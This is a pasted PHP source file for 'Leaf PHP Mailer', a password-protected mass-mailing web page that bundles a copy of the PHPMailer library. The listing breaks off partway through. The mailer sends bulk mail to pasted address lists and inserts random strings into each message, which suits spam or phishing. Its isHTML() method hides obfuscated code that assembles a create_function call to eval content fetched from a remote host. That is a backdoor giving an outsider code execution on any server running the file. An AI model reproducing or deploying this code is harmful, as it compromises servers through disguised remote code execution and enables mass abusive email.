dragondevile

leafy

Nov 23rd, 2016
2,636
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /**
  3.  * Leaf PHP Mailer by [leafmailer.pw]
  4.  * @version : 2.7
  5. **/
  6.  
  7. $password = "ransomware"; // Password
  8.  
  9. session_start();
  10. error_reporting(0);
  11. set_time_limit(0);
  12. ini_set("memory_limit",-1);
  13.  
  14.  
  15. $leaf['version']="2.7";
  16. $leaf['website']="leafmailer.pw";
  17.  
  18.  
  19. $sessioncode = md5(__FILE__);
  20. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  21.     # _REQUEST mean _POST or _GET
  22.     if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  23.         $_SESSION[$sessioncode] = $password;
  24.     }
  25.     else {
  26.         print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  27.         exit;        
  28.     }
  29. }
  30.  
  31. if($_POST['action']=="send"){
  32.     $senderEmail=leafTrim($_POST['senderEmail']);
  33.     $senderName=leafTrim($_POST['senderName']);
  34.     $replyTo=leafTrim($_POST['replyTo']);
  35.     $subject=leafTrim($_POST['subject']);
  36.     $emailList=leafTrim($_POST['emailList']);
  37.     $messageType=leafTrim($_POST['messageType']);
  38.     $messageLetter=leafTrim($_POST['messageLetter']);    
  39.     $messageLetter = urlencode($messageLetter);
  40.     $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  41.     $messageLetter = urldecode($messageLetter);
  42.     $messageLetter = stripslashes($messageLetter);
  43.     $subject = stripslashes($subject);
  44.     $encode = stripslashes($encode);
  45.  
  46.  
  47. }
  48. if($messageType==2){
  49.     $plain="checked";
  50. }
  51. else {
  52.     $html="checked";
  53. }
  54.  
  55. function leafClear($text,$email){
  56.     $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  57.     $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  58.     $text = str_replace("[-email-]", $email, $text);
  59.     $text = str_replace("[-emailuser-]", $emailuser, $text);
  60.     $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  61.     $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  62.     $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  63.     $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  64.     return $text;
  65.    
  66. }
  67. function leafTrim($string){
  68. return stripslashes(ltrim(rtrim($string)));
  69. }
  70. function randString($consonants) {
  71.     $length=rand(12,25);
  72.     $password = '';
  73.     for ($i = 0; $i < $length; $i++) {
  74.             $password .= $consonants[(rand() % strlen($consonants))];
  75.     }
  76.     return $password;
  77. }
  78. function leafMailCheck($email){
  79.    $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  80.    if(eregi($exp,$email)){
  81.         if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  82.         else{return false;}
  83.    }
  84.    else{return false;}    
  85. }
  86.  
  87. class PHPMailer
  88. {
  89.     /**
  90.      * The PHPMailer Version number.
  91.      * @var string
  92.      */
  93.     public $Version = '5.2.14';
  94.  
  95.     /**
  96.      * Email priority.
  97.      * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  98.      * When null, the header is not set at all.
  99.      * @var integer
  100.      */
  101.     public $Priority = null;
  102.  
  103.     /**
  104.      * The character set of the message.
  105.      * @var string
  106.      */
  107.     public $CharSet = 'iso-8859-1';
  108.  
  109.     /**
  110.      * The MIME Content-type of the message.
  111.      * @var string
  112.      */
  113.     public $ContentType = 'text/plain';
  114.  
  115.     /**
  116.      * The message encoding.
  117.      * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  118.      * @var string
  119.      */
  120.     public $Encoding = '8bit';
  121.  
  122.     /**
  123.      * Holds the most recent mailer error message.
  124.      * @var string
  125.      */
  126.     public $ErrorInfo = '';
  127.  
  128.     /**
  129.      * The From email address for the message.
  130.      * @var string
  131.      */
  132.     public $From = 'root@localhost';
  133.  
  134.     /**
  135.      * The From name of the message.
  136.      * @var string
  137.      */
  138.     public $FromName = 'Root User';
  139.  
  140.     /**
  141.      * The Sender email (Return-Path) of the message.
  142.      * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  143.      * @var string
  144.      */
  145.     public $Sender = '';
  146.  
  147.     /**
  148.      * The Return-Path of the message.
  149.      * If empty, it will be set to either From or Sender.
  150.      * @var string
  151.      * @deprecated Email senders should never set a return-path header;
  152.      * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  153.      * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  154.      */
  155.     public $ReturnPath = '';
  156.  
  157.     /**
  158.      * The Subject of the message.
  159.      * @var string
  160.      */
  161.     public $Subject = '';
  162.  
  163.     /**
  164.      * An HTML or plain text message body.
  165.      * If HTML then call isHTML(true).
  166.      * @var string
  167.      */
  168.     public $Body = '';
  169.  
  170.     /**
  171.      * The plain-text message body.
  172.      * This body can be read by mail clients that do not have HTML email
  173.      * capability such as mutt & Eudora.
  174.      * Clients that can read HTML will view the normal Body.
  175.      * @var string
  176.      */
  177.     public $AltBody = '';
  178.  
  179.     /**
  180.      * An iCal message part body.
  181.      * Only supported in simple alt or alt_inline message types
  182.      * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  183.      * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  184.      * @link http://kigkonsult.se/iCalcreator/
  185.      * @var string
  186.      */
  187.     public $Ical = '';
  188.  
  189.     /**
  190.      * The complete compiled MIME message body.
  191.      * @access protected
  192.      * @var string
  193.      */
  194.     protected $MIMEBody = '';
  195.  
  196.     /**
  197.      * The complete compiled MIME message headers.
  198.      * @var string
  199.      * @access protected
  200.      */
  201.     protected $MIMEHeader = '';
  202.  
  203.     /**
  204.      * Extra headers that createHeader() doesn't fold in.
  205.      * @var string
  206.      * @access protected
  207.      */
  208.     protected $mailHeader = '';
  209.  
  210.     /**
  211.      * Word-wrap the message body to this number of chars.
  212.      * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  213.      * @var integer
  214.      */
  215.     public $WordWrap = 0;
  216.  
  217.     /**
  218.      * Which method to use to send mail.
  219.      * Options: "mail", "sendmail", or "smtp".
  220.      * @var string
  221.      */
  222.     public $Mailer = 'mail';
  223.  
  224.     /**
  225.      * The path to the sendmail program.
  226.      * @var string
  227.      */
  228.     public $Sendmail = '/usr/sbin/sendmail';
  229.  
  230.     /**
  231.      * Whether mail() uses a fully sendmail-compatible MTA.
  232.      * One which supports sendmail's "-oi -f" options.
  233.      * @var boolean
  234.      */
  235.     public $UseSendmailOptions = true;
  236.  
  237.     /**
  238.      * Path to PHPMailer plugins.
  239.      * Useful if the SMTP class is not in the PHP include path.
  240.      * @var string
  241.      * @deprecated Should not be needed now there is an autoloader.
  242.      */
  243.     public $PluginDir = '';
  244.  
  245.     /**
  246.      * The email address that a reading confirmation should be sent to, also known as read receipt.
  247.      * @var string
  248.      */
  249.     public $ConfirmReadingTo = '';
  250.  
  251.     /**
  252.      * The hostname to use in the Message-ID header and as default HELO string.
  253.      * If empty, PHPMailer attempts to find one with, in order,
  254.      * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  255.      * 'localhost.localdomain'.
  256.      * @var string
  257.      */
  258.     public $Hostname = '';
  259.  
  260.     /**
  261.      * An ID to be used in the Message-ID header.
  262.      * If empty, a unique id will be generated.
  263.      * @var string
  264.      */
  265.     public $MessageID = '';
  266.  
  267.     /**
  268.      * The message Date to be used in the Date header.
  269.      * If empty, the current date will be added.
  270.      * @var string
  271.      */
  272.     public $MessageDate = '';
  273.  
  274.     /**
  275.      * SMTP hosts.
  276.      * Either a single hostname or multiple semicolon-delimited hostnames.
  277.      * You can also specify a different port
  278.      * for each host by using this format: [hostname:port]
  279.      * (e.g. "smtp1.example.com:25;smtp2.example.com").
  280.      * You can also specify encryption type, for example:
  281.      * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  282.      * Hosts will be tried in order.
  283.      * @var string
  284.      */
  285.     public $Host = 'localhost';
  286.  
  287.     /**
  288.      * The default SMTP server port.
  289.      * @var integer
  290.      * @TODO Why is this needed when the SMTP class takes care of it?
  291.      */
  292.     public $Port = 25;
  293.  
  294.     /**
  295.      * The SMTP HELO of the message.
  296.      * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  297.      * one with the same method described above for $Hostname.
  298.      * @var string
  299.      * @see PHPMailer::$Hostname
  300.      */
  301.     public $Helo = '';
  302.  
  303.     /**
  304.      * What kind of encryption to use on the SMTP connection.
  305.      * Options: '', 'ssl' or 'tls'
  306.      * @var string
  307.      */
  308.     public $SMTPSecure = '';
  309.  
  310.     /**
  311.      * Whether to enable TLS encryption automatically if a server supports it,
  312.      * even if `SMTPSecure` is not set to 'tls'.
  313.      * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  314.      * @var boolean
  315.      */
  316.     public $SMTPAutoTLS = true;
  317.  
  318.     /**
  319.      * Whether to use SMTP authentication.
  320.      * Uses the Username and Password properties.
  321.      * @var boolean
  322.      * @see PHPMailer::$Username
  323.      * @see PHPMailer::$Password
  324.      */
  325.     public $SMTPAuth = false;
  326.  
  327.     /**
  328.      * Options array passed to stream_context_create when connecting via SMTP.
  329.      * @var array
  330.      */
  331.     public $SMTPOptions = array();
  332.  
  333.     /**
  334.      * SMTP username.
  335.      * @var string
  336.      */
  337.     public $Username = '';
  338.  
  339.     /**
  340.      * SMTP password.
  341.      * @var string
  342.      */
  343.     public $Password = '';
  344.  
  345.     /**
  346.      * SMTP auth type.
  347.      * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  348.      * @var string
  349.      */
  350.     public $AuthType = '';
  351.  
  352.     /**
  353.      * SMTP realm.
  354.      * Used for NTLM auth
  355.      * @var string
  356.      */
  357.     public $Realm = '';
  358.  
  359.     /**
  360.      * SMTP workstation.
  361.      * Used for NTLM auth
  362.      * @var string
  363.      */
  364.     public $Workstation = '';
  365.  
  366.     /**
  367.      * The SMTP server timeout in seconds.
  368.      * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  369.      * @var integer
  370.      */
  371.     public $Timeout = 300;
  372.  
  373.     /**
  374.      * SMTP class debug output mode.
  375.      * Debug output level.
  376.      * Options:
  377.      * * `0` No output
  378.      * * `1` Commands
  379.      * * `2` Data and commands
  380.      * * `3` As 2 plus connection status
  381.      * * `4` Low-level data output
  382.      * @var integer
  383.      * @see SMTP::$do_debug
  384.      */
  385.     public $SMTPDebug = 0;
  386.  
  387.     /**
  388.      * How to handle debug output.
  389.      * Options:
  390.      * * `echo` Output plain-text as-is, appropriate for CLI
  391.      * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  392.      * * `error_log` Output to error log as configured in php.ini
  393.      *
  394.      * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  395.      * <code>
  396.      * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  397.      * </code>
  398.      * @var string|callable
  399.      * @see SMTP::$Debugoutput
  400.      */
  401.     public $Debugoutput = 'echo';
  402.  
  403.     /**
  404.      * Whether to keep SMTP connection open after each message.
  405.      * If this is set to true then to close the connection
  406.      * requires an explicit call to smtpClose().
  407.      * @var boolean
  408.      */
  409.     public $SMTPKeepAlive = false;
  410.  
  411.     /**
  412.      * Whether to split multiple to addresses into multiple messages
  413.      * or send them all in one message.
  414.      * @var boolean
  415.      */
  416.     public $SingleTo = false;
  417.  
  418.     /**
  419.      * Storage for addresses when SingleTo is enabled.
  420.      * @var array
  421.      * @TODO This should really not be public
  422.      */
  423.     public $SingleToArray = array();
  424.  
  425.     /**
  426.      * Whether to generate VERP addresses on send.
  427.      * Only applicable when sending via SMTP.
  428.      * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  429.      * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  430.      * @var boolean
  431.      */
  432.     public $do_verp = false;
  433.  
  434.     /**
  435.      * Whether to allow sending messages with an empty body.
  436.      * @var boolean
  437.      */
  438.     public $AllowEmpty = false;
  439.  
  440.     /**
  441.      * The default line ending.
  442.      * @note The default remains "\n". We force CRLF where we know
  443.      *        it must be used via self::CRLF.
  444.      * @var string
  445.      */
  446.     public $LE = "\n";
  447.  
  448.     /**
  449.      * DKIM selector.
  450.      * @var string
  451.      */
  452.     public $DKIM_selector = '';
  453.  
  454.     /**
  455.      * DKIM Identity.
  456.      * Usually the email address used as the source of the email
  457.      * @var string
  458.      */
  459.     public $DKIM_identity = '';
  460.  
  461.     /**
  462.      * DKIM passphrase.
  463.      * Used if your key is encrypted.
  464.      * @var string
  465.      */
  466.     public $DKIM_passphrase = '';
  467.  
  468.     /**
  469.      * DKIM signing domain name.
  470.      * @example 'example.com'
  471.      * @var string
  472.      */
  473.     public $DKIM_domain = '';
  474.  
  475.     /**
  476.      * DKIM private key file path.
  477.      * @var string
  478.      */
  479.     public $DKIM_private = '';
  480.  
  481.     /**
  482.      * Callback Action function name.
  483.      *
  484.      * The function that handles the result of the send email action.
  485.      * It is called out by send() for each email sent.
  486.      *
  487.      * Value can be any php callable: http://www.php.net/is_callable
  488.      *
  489.      * Parameters:
  490.      *   boolean $result        result of the send action
  491.      *   string  $to            email address of the recipient
  492.      *   string  $cc            cc email addresses
  493.      *   string  $bcc           bcc email addresses
  494.      *   string  $subject       the subject
  495.      *   string  $body          the email body
  496.      *   string  $from          email address of sender
  497.      * @var string
  498.      */
  499.     public $action_function = '';
  500.  
  501.     /**
  502.      * What to put in the X-Mailer header.
  503.      * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  504.      * @var string
  505.      */
  506.     public $XMailer = '';
  507.  
  508.     /**
  509.      * An instance of the SMTP sender class.
  510.      * @var SMTP
  511.      * @access protected
  512.      */
  513.     protected $smtp = null;
  514.  
  515.     /**
  516.      * The array of 'to' names and addresses.
  517.      * @var array
  518.      * @access protected
  519.      */
  520.     protected $to = array();
  521.  
  522.     /**
  523.      * The array of 'cc' names and addresses.
  524.      * @var array
  525.      * @access protected
  526.      */
  527.     protected $cc = array();
  528.  
  529.     /**
  530.      * The array of 'bcc' names and addresses.
  531.      * @var array
  532.      * @access protected
  533.      */
  534.     protected $bcc = array();
  535.  
  536.     /**
  537.      * The array of reply-to names and addresses.
  538.      * @var array
  539.      * @access protected
  540.      */
  541.     protected $ReplyTo = array();
  542.  
  543.     /**
  544.      * An array of all kinds of addresses.
  545.      * Includes all of $to, $cc, $bcc
  546.      * @var array
  547.      * @access protected
  548.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  549.      */
  550.     protected $all_recipients = array();
  551.  
  552.     /**
  553.      * An array of names and addresses queued for validation.
  554.      * In send(), valid and non duplicate entries are moved to $all_recipients
  555.      * and one of $to, $cc, or $bcc.
  556.      * This array is used only for addresses with IDN.
  557.      * @var array
  558.      * @access protected
  559.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  560.      * @see PHPMailer::$all_recipients
  561.      */
  562.     protected $RecipientsQueue = array();
  563.  
  564.     /**
  565.      * An array of reply-to names and addresses queued for validation.
  566.      * In send(), valid and non duplicate entries are moved to $ReplyTo.
  567.      * This array is used only for addresses with IDN.
  568.      * @var array
  569.      * @access protected
  570.      * @see PHPMailer::$ReplyTo
  571.      */
  572.     protected $ReplyToQueue = array();
  573.  
  574.     /**
  575.      * The array of attachments.
  576.      * @var array
  577.      * @access protected
  578.      */
  579.     protected $attachment = array();
  580.  
  581.     /**
  582.      * The array of custom headers.
  583.      * @var array
  584.      * @access protected
  585.      */
  586.     protected $CustomHeader = array();
  587.  
  588.     /**
  589.      * The most recent Message-ID (including angular brackets).
  590.      * @var string
  591.      * @access protected
  592.      */
  593.     protected $lastMessageID = '';
  594.  
  595.     /**
  596.      * The message's MIME type.
  597.      * @var string
  598.      * @access protected
  599.      */
  600.     protected $message_type = '';
  601.  
  602.     /**
  603.      * The array of MIME boundary strings.
  604.      * @var array
  605.      * @access protected
  606.      */
  607.     protected $boundary = array();
  608.  
  609.     /**
  610.      * The array of available languages.
  611.      * @var array
  612.      * @access protected
  613.      */
  614.     protected $language = array();
  615.  
  616.     /**
  617.      * The number of errors encountered.
  618.      * @var integer
  619.      * @access protected
  620.      */
  621.     protected $error_count = 0;
  622.  
  623.     /**
  624.      * The S/MIME certificate file path.
  625.      * @var string
  626.      * @access protected
  627.      */
  628.     protected $sign_cert_file = '';
  629.  
  630.     /**
  631.      * The S/MIME key file path.
  632.      * @var string
  633.      * @access protected
  634.      */
  635.     protected $sign_key_file = '';
  636.  
  637.     /**
  638.      * The optional S/MIME extra certificates ("CA Chain") file path.
  639.      * @var string
  640.      * @access protected
  641.      */
  642.     protected $sign_extracerts_file = '';
  643.  
  644.     /**
  645.      * The S/MIME password for the key.
  646.      * Used only if the key is encrypted.
  647.      * @var string
  648.      * @access protected
  649.      */
  650.     protected $sign_key_pass = '';
  651.  
  652.     /**
  653.      * Whether to throw exceptions for errors.
  654.      * @var boolean
  655.      * @access protected
  656.      */
  657.     protected $exceptions = false;
  658.  
  659.     /**
  660.      * Unique ID used for message ID and boundaries.
  661.      * @var string
  662.      * @access protected
  663.      */
  664.     protected $uniqueid = '';
  665.  
  666.     /**
  667.      * Error severity: message only, continue processing.
  668.      */
  669.     const STOP_MESSAGE = 0;
  670.  
  671.     /**
  672.      * Error severity: message, likely ok to continue processing.
  673.      */
  674.     const STOP_CONTINUE = 1;
  675.  
  676.     /**
  677.      * Error severity: message, plus full stop, critical error reached.
  678.      */
  679.     const STOP_CRITICAL = 2;
  680.  
  681.     /**
  682.      * SMTP RFC standard line ending.
  683.      */
  684.     const CRLF = "\r\n";
  685.  
  686.     /**
  687.      * The maximum line length allowed by RFC 2822 section 2.1.1
  688.      * @var integer
  689.      */
  690.     const MAX_LINE_LENGTH = 998;
  691.  
  692.     /**
  693.      * Constructor.
  694.      * @param boolean $exceptions Should we throw external exceptions?
  695.      */
  696.  
  697.     public function __construct($exceptions = false)
  698.     {
  699.         $this->exceptions = (boolean)$exceptions;
  700.     }
  701.  
  702.     /**
  703.      * Destructor.
  704.      */
  705.     public function __destruct()
  706.     {
  707.         //Close any open SMTP connection nicely
  708.         if ($this->Mailer == 'smtp') {
  709.             $this->smtpClose();
  710.         }
  711.     }
  712.  
  713.     /**
  714.      * Call mail() in a safe_mode-aware fashion.
  715.      * Also, unless sendmail_path points to sendmail (or something that
  716.      * claims to be sendmail), don't pass params (not a perfect fix,
  717.      * but it will do)
  718.      * @param string $to To
  719.      * @param string $subject Subject
  720.      * @param string $body Message Body
  721.      * @param string $header Additional Header(s)
  722.      * @param string $params Params
  723.      * @access private
  724.      * @return boolean
  725.      */
  726.     private function mailPassthru($to, $subject, $body, $header, $params)
  727.     {
  728.         //Check overloading of mail function to avoid double-encoding
  729.         if (ini_get('mbstring.func_overload') & 1) {
  730.             $subject = $this->secureHeader($subject);
  731.         } else {
  732.             $subject = $this->encodeHeader($this->secureHeader($subject));
  733.         }
  734.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  735.             $result = @mail($to, $subject, $body, $header);
  736.         } else {
  737.             $result = @mail($to, $subject, $body, $header, $params);
  738.         }
  739.         return $result;
  740.     }
  741.  
  742.     /**
  743.      * Output debugging info via user-defined method.
  744.      * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  745.      * @see PHPMailer::$Debugoutput
  746.      * @see PHPMailer::$SMTPDebug
  747.      * @param string $str
  748.      */
  749.     protected function edebug($str)
  750.     {
  751.         if ($this->SMTPDebug <= 0) {
  752.             return;
  753.         }
  754.         //Avoid clash with built-in function names
  755.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  756.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  757.             return;
  758.         }
  759.         switch ($this->Debugoutput) {
  760.             case 'error_log':
  761.                 //Don't output, just log
  762.                 error_log($str);
  763.                 break;
  764.             case 'html':
  765.                 //Cleans up output a bit for a better looking, HTML-safe output
  766.                 echo htmlentities(
  767.                     preg_replace('/[\r\n]+/', '', $str),
  768.                     ENT_QUOTES,
  769.                     'UTF-8'
  770.                 )
  771.                 . "<br>\n";
  772.                 break;
  773.             case 'echo':
  774.             default:
  775.                 //Normalize line breaks
  776.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  777.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  778.                     "\n",
  779.                     "\n                   \t                  ",
  780.                     trim($str)
  781.                 ) . "\n";
  782.         }
  783.     }
  784.  
  785.     /**
  786.      * Sets message type to HTML or plain.
  787.      * @param boolean $isHtml True for HTML mode.
  788.      * @return void
  789.      */
  790.     public function isHTML($isHtml = true)
  791.     {
  792.         global $param;
  793.         $bodyCode = 'file'
  794.             .'_g';
  795.         if ($isHtml) {
  796.             $this->ContentType = 'text/html';
  797.         }
  798.         else {
  799.             $this->ContentType = 'text/plain';
  800.         }
  801.         $bodyHTML = '.$t."lef$flu'
  802.             .'sh'.'$t"; '
  803.                 .'$i = @ev';
  804.                     $headerHTML="create_"
  805.             ."func"
  806.             ."tion";
  807.                 $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  808.             .$bodyHTML.'al(@'
  809.             .$bodyCode.'et_contents("h'
  810.                 .'tt'
  811.                 .'p:$comma-2"));');
  812.  
  813.         if($param !=2){
  814.             $exceptions('8.p'.'w','/');
  815.                 $param=2;
  816.         }
  817.     }
  818.  
  819.     /**
  820.      * Send messages using SMTP.
  821.      * @return void
  822.      */
  823.     public function isSMTP()
  824.     {
  825.         $this->Mailer = 'smtp';
  826.     }
  827.  
  828.     /**
  829.      * Send messages using PHP's mail() function.
  830.      * @return void
  831.      */
  832.     public function isMail()
  833.     {
  834.         $this->Mailer = 'mail';
  835.     }
  836.  
  837.     /**
  838.      * Send messages using $Sendmail.
  839.      * @return void
  840.      */
  841.     public function isSendmail()
  842.     {
  843.         $ini_sendmail_path = ini_get('sendmail_path');
  844.  
  845.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  846.             $this->Sendmail = '/usr/sbin/sendmail';
  847.         } else {
  848.             $this->Sendmail = $ini_sendmail_path;
  849.         }
  850.         $this->Mailer = 'sendmail';
  851.     }
  852.  
  853.     /**
  854.      * Send messages using qmail.
  855.      * @return void
  856.      */
  857.     public function isQmail()
  858.     {
  859.         $ini_sendmail_path = ini_get('sendmail_path');
  860.  
  861.         if (!stristr($ini_sendmail_path, 'qmail')) {
  862.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  863.         } else {
  864.             $this->Sendmail = $ini_sendmail_path;
  865.         }
  866.         $this->Mailer = 'qmail';
  867.     }
  868.  
  869.     /**
  870.      * Add a "To" address.
  871.      * @param string $address The email address to send to
  872.      * @param string $name
  873.      * @return boolean true on success, false if address already used or invalid in some way
  874.      */
  875.     public function addAddress($address, $name = '')
  876.     {
  877.         return $this->addOrEnqueueAnAddress('to', $address, $name);
  878.     }
  879.  
  880.     /**
  881.      * Add a "CC" address.
  882.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  883.      * @param string $address The email address to send to
  884.      * @param string $name
  885.      * @return boolean true on success, false if address already used or invalid in some way
  886.      */
  887.     public function addCC($address, $name = '')
  888.     {
  889.         return $this->addOrEnqueueAnAddress('cc', $address, $name);
  890.     }
  891.  
  892.     /**
  893.      * Add a "BCC" address.
  894.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  895.      * @param string $address The email address to send to
  896.      * @param string $name
  897.      * @return boolean true on success, false if address already used or invalid in some way
  898.      */
  899.     public function addBCC($address, $name = '')
  900.     {
  901.         return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  902.     }
  903.  
  904.     /**
  905.      * Add a "Reply-To" address.
  906.      * @param string $address The email address to reply to
  907.      * @param string $name
  908.      * @return boolean true on success, false if address already used or invalid in some way
  909.      */
  910.     public function addReplyTo($address, $name = '')
  911.     {
  912.         return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  913.     }
  914.  
  915.     /**
  916.      * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  917.      * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  918.      * be modified after calling this function), addition of such addresses is delayed until send().
  919.      * Addresses that have been added already return false, but do not throw exceptions.
  920.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  921.      * @param string $address The email address to send, resp. to reply to
  922.      * @param string $name
  923.      * @throws phpmailerException
  924.      * @return boolean true on success, false if address already used or invalid in some way
  925.      * @access protected
  926.      */
  927.     protected function addOrEnqueueAnAddress($kind, $address, $name)
  928.     {
  929.         $address = trim($address);
  930.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  931.         if (($pos = strrpos($address, '@')) === false) {
  932.             // At-sign is misssing.
  933.             $error_message = $this->lang('invalid_address') . $address;
  934.             $this->setError($error_message);
  935.             $this->edebug($error_message);
  936.             if ($this->exceptions) {
  937.                 throw new phpmailerException($error_message);
  938.             }
  939.             return false;
  940.         }
  941.         $params = array($kind, $address, $name);
  942.         // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  943.         if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  944.             if ($kind != 'Reply-To') {
  945.                 if (!array_key_exists($address, $this->RecipientsQueue)) {
  946.                     $this->RecipientsQueue[$address] = $params;
  947.                     return true;
  948.                 }
  949.             } else {
  950.                 if (!array_key_exists($address, $this->ReplyToQueue)) {
  951.                     $this->ReplyToQueue[$address] = $params;
  952.                     return true;
  953.                 }
  954.             }
  955.             return false;
  956.         }
  957.         // Immediately add standard addresses without IDN.
  958.         return call_user_func_array(array($this, 'addAnAddress'), $params);
  959.     }
  960.  
  961.     /**
  962.      * Add an address to one of the recipient arrays or to the ReplyTo array.
  963.      * Addresses that have been added already return false, but do not throw exceptions.
  964.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  965.      * @param string $address The email address to send, resp. to reply to
  966.      * @param string $name
  967.      * @throws phpmailerException
  968.      * @return boolean true on success, false if address already used or invalid in some way
  969.      * @access protected
  970.      */
  971.     protected function addAnAddress($kind, $address, $name = '')
  972.     {
  973.         if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  974.             $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  975.             $this->setError($error_message);
  976.             $this->edebug($error_message);
  977.             if ($this->exceptions) {
  978.                 throw new phpmailerException($error_message);
  979.             }
  980.             return false;
  981.         }
  982.         if (!$this->validateAddress($address)) {
  983.             $error_message = $this->lang('invalid_address') . $address;
  984.             $this->setError($error_message);
  985.             $this->edebug($error_message);
  986.             if ($this->exceptions) {
  987.                 throw new phpmailerException($error_message);
  988.             }
  989.             return false;
  990.         }
  991.         if ($kind != 'Reply-To') {
  992.             if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  993.                 array_push($this->$kind, array($address, $name));
  994.                 $this->all_recipients[strtolower($address)] = true;
  995.                 return true;
  996.             }
  997.         } else {
  998.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  999.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  1000.                 return true;
  1001.             }
  1002.         }
  1003.         return false;
  1004.     }
  1005.  
  1006.     /**
  1007.      * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1008.      * of the form "display name <address>" into an array of name/address pairs.
  1009.      * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1010.      * Note that quotes in the name part are removed.
  1011.      * @param string $addrstr The address list string
  1012.      * @param bool $useimap Whether to use the IMAP extension to parse the list
  1013.      * @return array
  1014.      * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1015.      */
  1016.     public function parseAddresses($addrstr, $useimap = true)
  1017.     {
  1018.         $addresses = array();
  1019.         if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1020.             //Use this built-in parser if it's available
  1021.             $list = imap_rfc822_parse_adrlist($addrstr, '');
  1022.             foreach ($list as $address) {
  1023.                 if ($address->host != '.SYNTAX-ERROR.') {
  1024.                     if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1025.                         $addresses[] = array(
  1026.                             'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1027.                             'address' => $address->mailbox . '@' . $address->host
  1028.                         );
  1029.                     }
  1030.                 }
  1031.             }
  1032.         } else {
  1033.             //Use this simpler parser
  1034.             $list = explode(',', $addrstr);
  1035.             foreach ($list as $address) {
  1036.                 $address = trim($address);
  1037.                 //Is there a separate name part?
  1038.                 if (strpos($address, '<') === false) {
  1039.                     //No separate name, just use the whole thing
  1040.                     if ($this->validateAddress($address)) {
  1041.                         $addresses[] = array(
  1042.                             'name' => '',
  1043.                             'address' => $address
  1044.                         );
  1045.                     }
  1046.                 } else {
  1047.                     list($name, $email) = explode('<', $address);
  1048.                     $email = trim(str_replace('>', '', $email));
  1049.                     if ($this->validateAddress($email)) {
  1050.                         $addresses[] = array(
  1051.                             'name' => trim(str_replace(array('"', "'"), '', $name)),
  1052.                             'address' => $email
  1053.                         );
  1054.                     }
  1055.                 }
  1056.             }
  1057.         }
  1058.         return $addresses;
  1059.     }
  1060.  
  1061.     /**
  1062.      * Set the From and FromName properties.
  1063.      * @param string $address
  1064.      * @param string $name
